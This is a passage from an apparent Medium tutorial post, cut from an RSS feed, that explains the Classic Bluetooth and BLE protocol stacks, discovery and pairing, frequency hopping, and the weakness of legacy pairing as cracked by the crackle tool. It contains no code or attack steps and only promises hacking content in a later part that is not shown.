advanced features, including efficient advertising and scanning mechanisms, optimized connection intervals, and power-saving sleep modes, make BLE an ideal choice for wearable technology, smart home devices, healthcare monitors, and various IoT implementations.</p><h3>Classic Bluetooth Protocol Stack:</h3><ol><li><strong>Physical Layer</strong>:</li></ol><ul><li>Responsible for radio transmission using the 2.4 GHz ISM band.</li><li>Supports multiple data rates depending on the Bluetooth version (e.g., 1, 2, or 3 Mbps).</li></ul><p><strong>2. Link Layer</strong>:</p><ul><li>Manages device discovery, connection setup, and packet formatting.</li><li>Implements error detection and correction mechanisms.</li></ul><p><strong>3. Logical Link Control and Adaptation Protocol (L2CAP)</strong>:</p><ul><li>Handles multiplexing data streams, segmentation, reassembly of packets, and QoS negotiations.</li><li>Essential for supporting higher-level protocols and services.</li></ul><p><strong>4 . RFCOMM</strong>:</p><ul><li>Emulates serial port connections over Bluetooth.</li><li>Enables the transmission of serial data between devices, ensuring compatibility with legacy applications.</li></ul><p><strong>5. Application Profiles</strong>:</p><ul><li>Define specific functionalities and data formats for different use cases.</li><li>Examples include the Hands-Free Profile (HFP), Audio/Video Remote Control Profile (AVRCP), and Serial Port Profile (SPP).</li></ul><h3>Bluetooth Low Energy (BLE) Protocol Stack:</h3><ol><li><strong>Physical Layer</strong>:</li></ol><ul><li>Similar to Classic Bluetooth, responsible for radio transmission but optimized for low-power consumption.</li></ul><p><strong>2. Link Layer</strong>:</p><ul><li>Handles device discovery, connection establishment, and efficient data packet formats for low-energy communication.</li></ul><p><strong>3. Logical Link Control and Adaptation Protocol (L2CAP)</strong>:</p><ul><li>Functions similarly to Classic Bluetooth but with optimizations for BLE’s low-power characteristics.</li></ul><p><strong>4. Generic Attribute Profile (GATT)</strong>:</p><ul><li>A key addition to the BLE protocol stack, defining the structure and behavior of data exchanged between BLE devices.</li><li>Based on a client-server model with attributes and services for data exchange.</li></ul><p><strong>5. Attribute Protocol (ATT)</strong>:</p><ul><li>Works in conjunction with GATT to define how data is organized and accessed in BLE devices.</li><li>Supports efficient data exchange for IoT and sensor-based applications.</li></ul><p><strong>6. Application Profiles</strong>:</p><ul><li>Include standard BLE profiles such as the Generic Access Profile (GAP), Generic Attribute Profile (GATT), and specific application profiles like Heart Rate Profile (HRP) and Proximity Profile (PXP).</li></ul><h3>Device discovery and connection establishment for Bluetooth Low Energy (BLE) and Classic Bluetooth</h3><h4>Bluetooth Low Energy (BLE) Process:</h4><ol><li><strong>Advertisement</strong>:</li></ol><ul><li>Peripheral devices (e.g., IoT sensors, smart devices) broadcast advertisement packets on three advertising channels (37, 38, 39) within the 2.4 GHz ISM band.</li><li>Advertisement packets contain information such as device name, services offered, unique identifiers (UUIDs), and possibly additional data.</li></ul><p><strong>2. Scanning</strong>:</p><ul><li>Central devices (e.g., smartphones, tablets) perform scanning on the advertising channels to discover nearby BLE peripherals.</li><li>During scanning, the central device listens for advertisement packets and collects information about available devices, including RSSI (Received Signal Strength Indication) to estimate proximity.</li></ul><p><strong>3. Connection Establishment</strong>:</p><ul><li>Once the central device identifies a peripheral it wishes to connect to, it sends a connection request to the peripheral.</li><li>The connection establishment process includes negotiating connection parameters such as connection interval, slave latency, supervision timeout, and initiating the security setup (if required).</li><li>Upon successful negotiation and confirmation, the central and peripheral devices establish a connection using the Bluetooth Low Energy protocol stack.</li><li>The connection allows bidirectional data exchange between the central and peripheral devices, facilitating communication for various applications such as sensor data collection, remote control, and monitoring.</li></ul><h4>Classic Bluetooth Process:</h4><ol><li><strong>Inquiry and Inquiry Scan</strong>:</li></ol><ul><li>Devices interested in discovering other Bluetooth devices initiate an inquiry process to search for nearby devices.</li><li>During the inquiry process, devices transmit inquiry packets on the inquiry scan channels (typically 32 channels within the 2.4 GHz band) to discover discoverable devices.</li><li>Discoverable devices respond with inquiry response packets, providing information about their capabilities and services.</li></ul><p><strong>2. Pairing and Connection</strong>:</p><ul><li>Once devices are discovered through inquiry, they enter a pairing process to establish a secure and authenticated connection.</li><li>Pairing involves exchanging pairing information, such as PIN codes or passkeys, to authenticate and encrypt the communication channel.</li><li>After successful pairing, devices establish a connection using the Bluetooth protocol stack, enabling data exchange for applications like audio streaming, file transfer, and device control.</li></ul><p>In summary, <strong>BLE </strong>uses <strong>advertisement packets </strong>and <strong>scanning </strong>on advertising channels for device discovery, while <strong>Classic Bluetooth</strong> employs an <strong>inquiry process </strong>and <strong>pairing </strong>for connection establishment. Both protocols have specific procedures tailored to their respective communication requirements and use cases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oNxCnbEK016RURSakH-joQ.jpeg" /><figcaption>BLE device details from it’s advertisement (scanned with nrf connect app)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*mHHLpPunU0A9x0dfiCZn0A.png" /><figcaption>Connected device showing specific services it provide (heart rate, battery services etc..)</figcaption></figure><h3>Bluetooth Encryption and Pairing:</h3><p>When a central device, such as a mobile phone, wants to connect to a peripheral device in Bluetooth Low Energy (BLE), it begins by scanning the three advertising channels to discover available devices. Once a connection is established between the central and peripheral devices, data exchange can occur using what are known as characteristics in Bluetooth. These characteristics act as APIs, each with a unique UUID and various sets of permissions, such as read, write, and notify.</p><p>Notably, encryption and pairing in Bluetooth are closely related. Pairing initiates a key exchange between devices, establishing a secure connection.</p><p><strong>In BLE, two pairing methods exist: Legacy pairing and Secure pairing.</strong></p><p><strong>Legacy pairing</strong> uses a custom key exchange protocol, which is vulnerable to attacks and can be cracked in seconds.(- Can be cracked in ~1 second by passive monitoring — <a href="https://github.com/mikeryan/crackle/">https://github.com/mikeryan/crackle/</a>) However, with Bluetooth 4.2 and newer versions, Secure pairing was introduced, employing an elliptic curve Diffie-Hellman-based key exchange protocol. This secure method significantly enhances security and mitigates many potential attacks, although an active man-in-the-middle attack remains theoretically possible during the initial pairing phase.</p><p>It’s essential to note that Bluetooth Low Energy communications are not inherently encrypted or authenticated by default. This means that while devices can connect without encryption, data may still be secured through custom encryption applied by applications before transmission.</p><h3>More about Frequency Hopping Spread Spectrum (FHSS)</h3><p>Frequency Hopping Spread Spectrum (FHSS) is a technique used in Bluetooth and other wireless communication systems to enhance reliability and reduce interference. In FHSS, the available frequency band is divided into multiple channels, and the transmitter rapidly switches between these channels in a predetermined pattern known as hopping. This hopping pattern is synchronized between the transmitter and receiver, allowing them to hop to the same channel at the same time.</p><p>One of the key advantages of FHSS is its robustness against interference and noise. By hopping across different channels, FHSS can avoid continuous interference on a single channel, leading to more reliable and stable communication. Additionally, FHSS provides some level of security as it makes it difficult for unauthorized users to intercept or jam the signal effectively.</p><p>However, FHSS also presents challenges for hackers attempting unauthorized access or sniffing. Since the hopping pattern is predetermined and synchronized between devices, hackers need sophisticated equipment and techniques to accurately capture and decipher the hopping sequence. This adds a layer of complexity and difficulty for unauthorized parties trying to intercept Bluetooth communications using FHSS.</p><h3>Bluetooth Evolution</h3><p>Moving on to Bluetooth versions, the technology has evolved significantly from its early versions to the latest iterations like Bluetooth 5.0 and Bluetooth 5.1. These newer versions have introduced several security enhancements to address vulnerabilities and improve overall security.</p><p>Bluetooth 5.0, for example, introduced the LE Secure Connections feature, which enhances pairing security by using stronger cryptographic algorithms and key exchange methods. It also introduced the LE Privacy feature, which helps prevent tracking and eavesdropping by randomizing device addresses during advertising.</p><p>Similarly, Bluetooth 5.1 introduced the Direction Finding feature, which enables more precise location tracking and enhances security in environments where location-based services are crucial. These advancements highlight the ongoing efforts in Bluetooth development to enhance security and privacy across different versions.</p><h3>More about Bluetooth protocol stack</h3><p>When it comes to the Bluetooth protocol stack, each layer plays a vital role in ensuring secure and reliable communication. The protocol stack typically includes layers such as the Physical Layer, Link Layer, Logical Link Control and Adaptation Protocol (L2CAP), RFCOMM, and application profiles.</p><p>At the Physical Layer, encryption and frequency hopping are implemented to secure data transmission and reduce interference. The Link Layer handles device discovery, connection establishment, and security negotiations, including authentication and encryption key exchange.</p><p>L2CAP, RFCOMM, and application profiles build on these lower layers to provide higher-level functionalities while ensuring data integrity, confidentiality, and authentication. Encryption algorithms like AES (Advanced Encryption Standard) are commonly used in Bluetooth for secure data transmission, and authentication protocols like Secure Simple Pairing (SSP) and Secure Connections enhance pairing security.</p><p>Overall, the Bluetooth protocol stack integrates various security features at different layers to protect against potential threats and ensure secure communication between Bluetooth-enabled devices.</p><h3>Device Discovery and Connection Establishment in detail</h3><p>In Classic Bluetooth, the device discovery process involves an inquiry phase where devices actively search for nearby Bluetooth-enabled devices. During inquiry, devices transmit inquiry packets on specific inquiry scan channels to discover discoverable devices in the vicinity. Discoverable devices respond with inquiry response packets containing information about their capabilities and services. Once devices are discovered, they enter a pairing process to establish a secure and authenticated connection. Pairing involves exchanging pairing information, such as PIN codes or passkeys, to authenticate and encrypt the communication channel. After successful pairing, devices establish a connection using the Bluetooth protocol stack, enabling data exchange for applications like audio streaming, file transfer, and device control.</p><p>In Bluetooth Low Energy (BLE), the device discovery process differs slightly. BLE devices use advertisement packets to broadcast their presence on three advertising channels within the 2.4 GHz ISM band. Central devices, such as smartphones or tablets, perform scanning on these advertising channels to discover nearby BLE peripherals. Upon discovering a desired peripheral, the central device initiates a connection request, leading to connection establishment using the BLE protocol stack. During connection setup, devices negotiate connection parameters and security settings, such as encryption and authentication, to ensure a secure communication channel.</p><p>Secure pairing methods and encryption protocols play a crucial role in preventing unauthorized access during the device discovery and connection establishment process. Secure pairing mechanisms, such as Secure Simple Pairing (SSP) in Classic Bluetooth and Secure Connections in BLE, use stronger cryptographic algorithms and key exchange protocols to authenticate devices and establish secure connections. Encryption protocols like AES (Advanced Encryption Standard) are employed to encrypt data exchanged between paired devices, protecting it from unauthorized interception or tampering.</p><h3>Bluetooth Encryption and Pairing in detail</h3><p>A real-world example showcasing the vulnerabilities of Legacy pairing in BLE is the crackle tool (<a href="https://github.com/mikeryan/crackle/">https://github.com/mikeryan/crackle/</a>), which can crack Legacy pairing keys in approximately one second through passive monitoring. Legacy pairing uses a custom key exchange protocol that is susceptible to passive eavesdropping attacks, compromising the security of BLE connections. However, with the introduction of Secure pairing in newer Bluetooth versions (e.g., Bluetooth 4.2 and above), vulnerabilities associated with Legacy pairing are significantly mitigated.</p><p>Secure pairing protocols, such as Secure Connections in Bluetooth 4.2+, employ robust key exchange mechanisms like elliptic curve Diffie-Hellman (ECDH) to establish secure connections between devices. These secure methods enhance security and protect against passive monitoring attacks by ensuring that pairing keys are not easily compromised.</p><p>Additionally, active man-in-the-middle attacks pose a significant threat to Bluetooth connections, particularly during the initial pairing phase. An attacker can intercept communication between devices, modify data, or impersonate legitimate devices to gain unauthorized access. Secure pairing protocols, combined with encryption mechanisms, help mitigate the risks associated with man-in-the-middle attacks by establishing secure and authenticated connections that are resistant to tampering or interception.</p><p>In this comprehensive guide to Bluetooth technology and security, we have explored the fundamentals of Bluetooth communication protocols, including Classic Bluetooth and Bluetooth Low Energy (BLE). We discussed the Bluetooth protocol stacks, device discovery processes, connection establishment procedures, and encryption and pairing methods used in Bluetooth-enabled devices.</p><p><strong>The 2nd part will come soon, in that we will enter into the actual world of Bluetooth hacking and exploiting !</strong></p><p>Thank you and happy h4cking :)</p><p>Follow here for more intresting contents and follow me on instagram <a href="https://www.instagram.com/whxitte">@whxitte</a></p><p>~ By <a href="https://www.instagram.com/whxitte">Sethu Satheesh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f50a2b03136" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>